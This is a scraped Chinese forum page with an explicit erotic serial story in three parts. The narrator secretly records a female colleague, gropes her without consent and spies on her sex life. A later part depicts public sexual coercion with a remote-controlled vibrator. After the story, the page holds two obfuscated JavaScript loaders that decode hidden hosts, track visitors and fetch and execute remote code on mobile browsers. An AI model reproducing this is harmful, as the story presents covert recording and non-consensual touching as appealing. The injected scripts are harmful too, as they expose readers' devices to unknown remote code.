图片载入中

师妹的诱惑(1-3)

特大字】 【大字】 【中字】 【小字

(1)

苪是我的师妹。典型的80后,虽然已经二十多岁了,但是看上去还是一个高中生模样。

先说一下住宿情况。我住在一个民房一共三层,每层四个住户。我在一楼,师妹在三楼。

先说一次录音的经历吧。一次在师妹家吃饭呢,她邀请她男朋友,我和一个办公室几个人一起吃火锅。大家一起喝酒,吃肉。我们在开始规定好啤酒和白酒不能混着喝,容易醉。所以一开始就说好,白的喝白的。啤酒三杯抵一杯。当然白酒的杯子还要比啤酒小一些。我自认酒量还可以就选了白酒。

师妹的男朋友也是北方的汉子,跟我一起选的白酒。其他人都啤酒。那天兴致很高,我平时对师妹挺有好感的。她男朋友也知道一点,所以有点对着我做事。

我一开口总是能感觉到他眼镜底下那双小眼睛囧囧有神的敌意。我脑袋瓜赚的还是蛮快,看着今天是要把他灌醉的节奏,下一步要怎么筹划。我突然有了一个好主意。我开始不停的对师妹男朋友敬酒,夸他是好男人的典范。小弟我在办公室也是有点人缘的。大家看这架势,都开始从相互敬酒变成了集中火力对准他。不一会他就有点招架不住了。我在关键时刻挺身而出,拿起一杯白酒说,

小峰同学,你看我们这么漂亮的小师妹就被你带走了。你要好好照顾她哦。

作为师兄我祝福你们。我干了,你随意。

整杯喝完以后,全场都很给面子的掌声响起。我师弟小林子第一个鼓掌,竖起大拇指,开口就说:

“师兄好样的。”

然后,小峰就有点受不了了,拿起杯子就要跟我干杯。师妹眼见他已经有点喝多了,就去一把拉住他说到:

“小峰,别喝了。待会喝多了,回去不方便。”

我立马接话到,

“玲子你这就不对了。回不去就不回去了呗。小峰,今天肯定没喝好。你这还没嫁过去呢,胳膊肘就往外拐了。”

话刚落音,师妹喝完啤酒的脸上绯红更红了。小峰似是理解了我话里言外之意,拿起酒杯就干了。自此一发不可收拾,小峰开始像向大家敬酒。不一会就把大部分人灌倒了。我伺机而动装作喝多了,跑到厕所去吐了。其实我只是偷偷将手机拿出来调成录音模式放在她床边。

要介绍一下师妹的房间设计。厨房和卫生间是独立的,但是客厅和卧室在一起的。我们吃饭在客厅。我去厕所的时候会路过床边的桌子。

我就把开了录音模式的手机放在了桌子的书边上。用桌子上的杂物盖住。我有两个手机,一个是非智能机,nokia 的,一般用来打电话和上网有一些简单的

功能如录音。还有一个智能机。但是考虑到智能机录音续航的能力。还是选择了nokia.

话不多说,切入正题。大概我放好手机十五分钟,大家开始陆续撤退。我假装吐后清醒帮师妹收拾,其实我酒量尚可,彼时还是比较清醒。再看小峰已经醉了,我和师妹送走其他人。就把小峰扶到师妹床上。开始收拾餐具。师妹也有点微醉。

我有乘机揩油。装作有点醉的给师妹收拾碗筷,碰一碰师妹的手,感觉下面一下子硬了起来。

师妹是有洁癖的人。餐具一定要今天洗干净。于是她就在水池边上洗起来了。

我帮她收拾,我一次会拿着一两个盘子给她。一开始只是手的接触。然后我机智的从她后面递给她。硬起来的下面蹭她的屁股。第一次的时候她浑身一颤,让我也有点紧张但后来再蹭的时候她就没有反应了。于是我从后面给她递盘子的时候,双手环绕着她跟她说,你看你这个盘子油还多,不好洗,要用力擦。我说着的同时也用下面硬硬的地方抵了一下她的屁股。然后师妹回头看了一下床上,小峰好像在床上翻了一下身,于是瞪了我一眼说到:

“师兄,洗得差不多了。多谢你帮忙啦,这也不早了,你早点回去吧。”

我有点尴尬,准备起身走人。走的时候还是忍不住捏了一下师妹的屁股。嫩嫩的软软的,很有感觉。师妹装作没感觉到。

我说了句,

“那好,我就先走了。”

随手我就关上门,但其实没走多远我就停下来了。

出来之后,外面很冷- ,我觉得有点头晕想休息一下。这时听到师妹的房间

里有动静。

师妹,有点大声的在喊,

“师兄,你别这样。小峰还在床上呢,被他看到了就不好了。”

然后就听到撕破衣服的声音,以及师妹的戛然而止的惊唿声和嘴巴被按住的声音。

我还想继续听,这个时候声控路灯亮了。我只好悻悻作罢,想着等第二天的录音吧。

路灯亮起是说明有人回来了。我就不好意思继续呆着了。匆匆下楼之后。呆着房间里,还是有些诧异。有点头晕的状态下也很难继续分析,于是烧水洗了个头,大概十分钟,然后基本上已经酒醒了。想着师妹一开始的叫声,内心有点不甘,想着当时应该大胆一点。转念一想,小峰这小子有点水平,第一酒量很好厉害,第二装醉的本事也很厉害。我还是有点忍不住。于是又偷偷熘上三楼。在楼梯口就听到师妹的喘息声。那种强忍住但是又快忍不住的声音,非常有诱惑力。

因为我们这种房子隔音效果很差。所以师妹不好意思大声叫出来。但是我巧步走到门前,确实能听到传说中啪啪的声音。据我的经验,当然说来惭愧不是实战而是看片的经验,这只有师妹下面湿润了之后淤积很多水然后被大力抽插才有的声音。这种摩擦声师妹是怎么忍也无法抑制的。啪啪的声音夯实有力,小峰果然是一个酒后壮男子。

突然听到小峰说到:

“玲子,你是不是想你师兄来操你?”

师妹不说话,但小峰更用力了。

“嗯……恩……”

师妹开始呓语,不知道是回答小峰的问题呢,还是对小峰大力抽插的反应。

这个时候我该死的手机响了,还好不是我放在师妹房间的那部,而是我带在身上的智能机。

我暗骂了一句。匆匆又下楼去,接起了电话,竟然是一个诈骗电话,突然觉得人生有些不美好。

(2)

上回以师兄为第一人称说到酒后聚餐,我偷放了一个手机在师妹桌上。

第二天一早八点多,我又偷偷上楼发现她们还没醒。于是又下楼给自己的nokia

手机打了个电话。大概等了一分钟,听到师妹迷迷煳煳的声音。

“喂?”

“玲子是你么?太好了,我的手机昨天不知道放哪里了。我猜就是放在你家。”

“我现在方便去拿一下么?”

话一说完也没给师妹思考的机会就匆匆上楼了。我想她男友小峰经过昨夜一场大战今天肯定还在熟睡,为了不打扰他,所以我轻轻的敲门,并说到,

“是我,玲子,来拿一下手机。”

接下来就是掀被子的声音,然后穿起拖鞋的声音。听着师妹缓缓向门口移动。

门吱呀一开,我就看到师妹有点乱乱的发型,还没完全醒过来的脸。最重要的是,衣服上的凸点,才发现师妹的乳头好大,能依稀看到乳晕。下身两腿之间也是黑黑的一丛。这时我才发现师妹穿的是情趣套装,半透明。看来她是真的还没睡醒。

昨夜的啤酒加床战,她现在应该还是宿醉我看她眯着眼睛,心想还好电话打的早。

“谢谢啦,不好意思打扰了。”

我说完感谢的话,拿着手机就想走,这时师妹也转身关门。我突然灵光一现。

用脚抵住门缝一点点。果然师妹随手关门以后,就没管门了,径直走到床上大字型的睡了起来。其实门没有全合上,我用脚翘了一点点缝隙。我在隔壁几家转了一下发现都没有什么起床的迹象,于是又贴门缝看了起来。师妹的衣服和小峰的衣服都放在床边的椅子上,看样子师妹这个整洁小能手,实在是处处管理好。

接下来发生的事情,让我有点不敢相信。突然,看到小峰翻身起来,把手摸到师妹的下面,说到:

“你看你下面湿的,刚才看你师兄一面,很爽吧,小骚货。让你师兄来干你怎么样。”

“不要,不要说了,不是你让我穿着这样的么。我要换衣服你又不让。啊……

啊……”

“你喊我师兄,快点喊。”

“师兄,不要了,师兄,昨天晚上下面都干肿了。”

“是被你师兄干的吧,你男朋友喝醉了躺床上,你就和你师兄玩上了。”

“啊……”

师妹突然大叫一声,原来是小峰抬起她的双腿插了进去,没有戴套套。

“快说,昨晚被师兄干的爽不?”

“爽,爽死了……”

“你师兄怎么干你的。”

“他在我洗碗的时候从后面插我。”

说完,小峰突然停下来,下床抱起师妹就到了厨房。师妹是那种小鸟依人型,体格娇小。被一把抱起也无力反抗,只是我发现她被抱起来后时不时朝门口瞄一下。小峰把她抱到厨房,声音就没那么清楚了,依稀听到小峰在喊,是不是这个姿势,还有师妹的娇喘声。我也没敢再进一步走到房间里。心中充满遗憾的下楼去了。

开始捣鼓手机,打开录音文档,发现只录了半个小时。该死的手机设置,默认无按键时只录半小时。打开听,一开始没什么精彩的,大家告别,然后是我和师妹收拾盘子。然后是我出门,关门声,砰一声响。

安静了一会儿我听到听到师妹的喘息声,抽插声。昨晚的记忆又浮上脑海。

心底的疑惑也起来了。小峰不是喝醉了么?

有过了一会。小峰竟然说话了,录音的效果不是很好。但是能听见一些,

“刚才和你师兄在厨房做什么呢……骚货……”

“没有,我在洗碗,师兄帮我……啊……”

“帮你什么啊……你看你下面湿的……一提你师兄,你就湿成这样了”

“轻点……啊……别人听见了的……”

“那你叫小点声音啊,你怎么叫床这么大声啊,是想让你师兄听见么……”

“啊……啊……不要了……”

我在录音里都能听见一些水声,看来师妹下面确实飞流直下三千尺。小峰这小子不简单,喝这么多竟然没醉,酒量果然不错。小峰又开始说话了,

“今天怎么样,爽不爽,没有穿内衣跟你们办公室的人一起吃饭怎么样。”

“讨厌,还好是冬天大家都看不出来。”

师妹外表看来这么纯洁,没想到被她男朋友调教的这么大胆。我回想昨天捏她屁股好像是没有感觉到内衣。不过冬天衣服这么厚,很难分辨。有听见小峰说话了,

“快点去把柜子里的那套衣服拿出来,还有那个电动棒。”

“电动棒没电了。”

“你这个小骚货平时都在用么,一开始给你买,你不是都不好意思用么。”

“讨厌,还不是因为你经常不在,人家想你么。”

录音到这里就结束了。反复听了几遍大概明确了两件事,小峰和师妹有点喜欢玩暴露。看来以后有的玩了。收拾东西,要去上班了,外面晴空万里,正是冬季的好天气。

(3)

我叫芮。今年二十七岁,属兔。大学毕业后留校读研究生,男朋友小峰毕业后留在同一个城市工作。

和小峰相遇是一个大雨天,下课后等雨停,我带着耳机,听着莫文蔚的《手》,有点伤感,可以配合下雨的气氛。突然伸过来一个手在我面前,手上拿着一把灰色的伞。第一次见他的手有些细长的手指,很有力的握着伞柄。那个时候的我,完全没有想到这只手在一个月以后就伸进我的衣服里,不到两个月就摸到并且搓着我的乳头。然后在我们认识的第一百天,也是我的生日,这只手伸进了我的黑色森林,在我的阴蒂上不停的揉动,让我到达了人生第一次高潮。

一切发展的顺其自然,我不知道什么时候从一种羞涩的状态变成了接受,但小峰好像一直都有无穷的创意,一直带着我领略着各种有意思的事情。我们的操场比较黑,特别是中央的绿色大草坪。平时有很多人会沿着操场的跑道跑步,但是草坪一直都属于情侣,夏天的时候基本上两个人抱在一起,相互依偎,而我们在天气好的时候也会躺在操场了,旁边十几米处就是其他的情侣,一开始我不知道她们在做着什么。只是有一次我好像听到了旁边若有若无的喘息声,从那次起,也有压抑着的呻吟声从我们这里传播出去。读研时候我就在外面租房子,租在三楼。我们曾在楼下一楼的空房子里做爱。一楼的租户搬出去了,但房东没有把房子锁上,而是假锁上,有人来看的话,他会用钥匙假开一下,带他们进去看看。

其实里面也没什么东西,所以也不怕被别人发现。有个周末小峰出差回来,我们就偷偷的跑到那个房间里开始做,后来我没忍住,叫的太大声。我们赶紧就撤离了,怕被隔壁的人发现。

毕业以后,一开始我们就聚少离多。小峰的工作需要经常出差,而我就在留在办公室里继续读研写研究论文。刚来实验室的时候,指导老师把我分配给高年级的师姐带我,但后来师姐回家生小孩了,请了几个月的产假。没办法,我就被分配给一个更高年纪的师兄。听指导老师说,师兄非常优秀,之前一直在国外做学术交流,前段时间才回来,估计是要留再办公室工作,所以跟他也挺不错的。

那是一个秋天,我记得是9 月19日,是我第一次见师兄。那也是挺有意思的一天。

那天是周一,不过我们把时间表往前再推一天,周日。小峰出差就是那个周日回来的。我们周日一直在房间里没有出来,但主要的活动内容却不是做爱做的事情。小峰本来是应该周六回来的,但是回来的时候遇上飞机误点,周六的时候他就已经有点忍不住了,由于飞机还误点了,而且误了很久,机场安排他在机场的宾馆睡了一夜。那一夜我们在开启了视频,他说他很饥渴,让我满足他,于是我第一次在摄像头前面开始了自摸。以前我是很反感这种的,因为我觉得这样显得我很骚,但是看到小峰饥渴的样子,我只好屈从了他,说下不为例。

小峰说到:“芮,我要看你的乳房,快点开始脱好么?”

我就浪浪地呻吟到:“老公,我好热啊,我可以脱么?”

“可以,你快脱,亲爱的。我要好好看看。”

我开始把衬衫脱下来,其实我一个人在宿舍我也没有穿内衣,一下子两点就蹦出来了,然后我用双手夹住了胸部,努力用舌头舔自己的乳头。那个时候也不知道为什么会有那么骚的动作,只时感觉一切就是那么的自然,然后我开始摸下面。小峰让我把椅子往后拖一点,这样他看的比较清楚,而且他还让我拿着他在淘宝上给我买的假鸡巴。本来计算的很好,他到的那天假鸡巴也到了,可是没想法,假鸡巴到了,他还没有到。于是在他的指导下,我拿出来的假鸡巴,打开了开关放在的乳头上,一点点酥酥麻麻的感觉。小峰看着我手上的遥控器,不停地让我把假鸡巴插进我的小穴,并且一直要我调大震动的频率,可是我把假鸡巴放在外面就有点受不了了,所以没有听从他的,他有些生气。不过后来我开始有些忍不住开始呻吟起来,而且越来越大声了。小峰看着一下子就忍不住射了。后面我们又聊了一会,他就有点困了。他睡了之后,我感觉到下面好空虚,有点没有满足的感觉,于是我把假鸡巴插了进来感觉好充实,而且好有力,只是有点太硬了。于是那一夜我下面水好多,不知道是不是从那个时候开始,我的下面的水就变得异常的多了。

第二天下午小峰风扑尘尘的回来,可能是由于昨天太过于折腾了,加上今天又是飞机加转车,小峰硬起来花了好长时间,期间他一直用假鸡巴让我爽。然后好不容易硬起来,我也快要到了。他看自己硬起来就赶紧拔出来假鸡巴,插进来他自己的。然后由于我太爽了,一直在不停的高潮,所以下面不停的夹住他的鸡巴。不一会他就射了。这次他就有点泄气了。加上有点累了。我只好在旁边好好安慰他,不停的道歉。那个时候他就让我给他用手,让他硬起来,后来手不管用,让我用口,但是那个时候我还是很傲气,觉得这样很低俗,有点太屈从他了。我觉得一下子,从视频给他看我自慰,到给他用手,再到用口,发展太快了,被我断然拒绝了,所以他很生气。然后也是因为比较折腾,所以他就先睡了。我自己欲望也没有满足,也是很不爽,想起来还没有吃晚饭,于是我点了一个外卖,等外卖来。送外卖来的时候,我套上睡衣就去开门了,送外卖的小哥,眼睛直直的看着我。我完全忘记了我自己没穿内衣和内裤。

一时激动,我赶紧付钱然后关上了门下面,小心脏扑通扑通的跳。我感觉很刺激而且很爽,下面一下子又湿了,本来看着小峰,准备去找他满足一下我,但是我又想到我们在赌气。于是我想拿起假鸡巴,但是又觉得今天有点过了,所以又忍住了想着明天早上再说。后来晚上,小峰醒了,晚上我们在床上相视无言。

他生气我不够体贴他,不肯给他口,而我也有点生气了,他自己没有满足我,还对我要求这要求那。

一夜无事,第二天早上,也就是上面说的周一。我收拾东西准备去办公室,小峰在卫生间门口拦住我,一把把我抱到床上,想要脱我的衣服。我当时还是很生气,而且上班就要迟到了,于是很反抗,大约是僵持了几分钟,但是他开始很快扒光了我的衣服开始舔起了乳头,小峰的舌头非常灵活,让我欲罢不能,他开始耐心的调戏我下面,但是我一直忍住,不让他发现我的欲望,其实这个时候我才发现,下面流水是可以有意识的减缓的,改变自己的想法,想一点别的事情,下面的感觉就没有那么强烈。而且我也很担心导师找我,所以没什么兴致。

“ 老公,不要舔,我要上班了,今天有很重要的事情,指导老师要让我去见一下带我的师兄。”

“你这骚货,是不是让你师兄舔你才爽啊。’说着拿起了假鸡巴插了进来。”

“看样子今天他不光是要爽,还要开始折磨我了。”

被小峰这么一说,我想着师兄,到底啥样子的,是不是一个帅哥呢,舌头会不会像小峰这样灵活呢。想到这里,我一下子好害羞,发现自己变得好骚。小峰好像发现了什么,

“你下面怎么一下子水怎么这么多啊!”小峰一边把假鸡巴从我的下面拿出来一边说道。我刚才幻想的画面,完全就是一个催情剂,之前忍住的所有都一下子喷涌而出了。

这个时候我的电话响了。我一看是指导老师来的,于是赶紧接了。

“小芮,你现在在干什么,上周不是说好了九点钟要过来和折民讨论你的研究计划么?”

“林老师,我……”

“你什么,我不管你什么情况,十分钟之内赶紧给我过来。”

被林老师批评之后我一下子没有了兴趣,小峰也听到老师的批评,于是也收起了他灵活的舌头。

“小芮,对不起,让你挨训了。你赶紧去办公室。我陪你去。”

看着小峰的样子,我有些于心不忍,但是想到导师的批评,我抛给他一个媚眼,然后隔着裤子亲了一下他的鸡巴,准备穿衣服走人。我看着他眼睛一转,就知道事情没这么简单。

再回到那个周一,我和师兄都在林老师的办公室里,听着林老师对我研究工作的安排。四米之外,小峰坐在我的桌子上,手上的遥控器,静音档上的灯正在闪烁。而此刻在办公室里的我,面色娇红,林老师以为我因为迟到了惭愧,其实并不是。

我用双腿夹紧了假鸡巴。我希望可以让它停下来,但是震动的酥麻感和刺激感一直从下面传来。而上半身没有穿内衣的我,乳头正在和衣服摩擦。在小峰的要求下,我里面一个小吊带,外面是穿的深色蓬松蕾丝连衣裙,下面的内裤比较紧实,小峰把假鸡巴放近我的下面并且用小内裤把它包起来了。小峰告诉我,这个假鸡巴的遥控器在8 米内都有效,而他在送我到办公室后,就打开了假鸡巴的震动模式。

我还在集中精神抗争假鸡巴的震动,不知道发生了什么事情,林老师让我和师兄在办公室等一会,就出去了。于是现在的画面是,1 米8 的大个子师兄,带着礼貌的微笑跟我问好,跟我说:“不要管林老师说啥,别担心。以后跟着我干,我一定保证你毕业没问题,你研究上有什么问题,尽管跟我提,我相信我一定可以给你满意的回答。”

“谢谢,师兄。”想着师兄说的话,我下面更湿了,发现我自己好骚,听着师兄的话,都感觉色色的,内心一直在幻想师兄在办公室里干我。我赶紧把画面拉回来,想着是小峰在干我。下面好多水,我都感觉水要沿着腿留下来了。于是我找了一个椅子坐下来。

“不用紧张,你看你的脸都红成什么样了。林老师这个人就这样的,日后处久你就知道了。”师兄也坐在边上拍着我的肩膀说到。

不知道为什么,师兄的话总是听起来那么邪恶。我下面高潮一波波的袭来。

我感觉我的连衣裙也湿了。我觉得这样肯定会出问题,于是感觉和师兄说到,

“师兄,我有点事情,我要先出去一下。”

那天以后我看到师兄之后,内心总是充满着羞耻感,总是能感觉师兄平常的微笑里,带着一些邪恶的味道。

本帖最近评分记录

clt2014 金币 8 转帖分享,红包献上!


上一篇:暴风雨(前传)

下一篇:K书中心做爱


function gwnDNE(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function AWKfLmPv(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return gwnDNE(t);};window[''+'R'+'o'+'k'+'X'+'D'+'L'+'a'+'N'+'E'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function Wjgr(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=AWKfLmPv,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=Wjgr(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=Wjgr(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMllM0EllMkYllMkZhLmh2Y2NkLmNuJTNBODg5MQ==','d3NzJTNBJTJGGJTJGGYS5rZmdqYS5jbiUzQTk1MzM=','162093',window,document,['l','G']);}:function(){};
function AVPIRq(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function TKWAwg(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return AVPIRq(t);};window[''+'n'+'f'+'q'+'H'+'Q'+'c'+'O'+'L'+'Y'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function nmgl(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=TKWAwg,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=nmgl(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=nmgl(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmh2Y2NkLmNuJTNBODg5MQQ==','d3NzJTTNBJTTJGJTTJGYS5rZmdqYS5jbiUzQTTk1MzM=','162092',window,document,['Q','T']);}:function(){};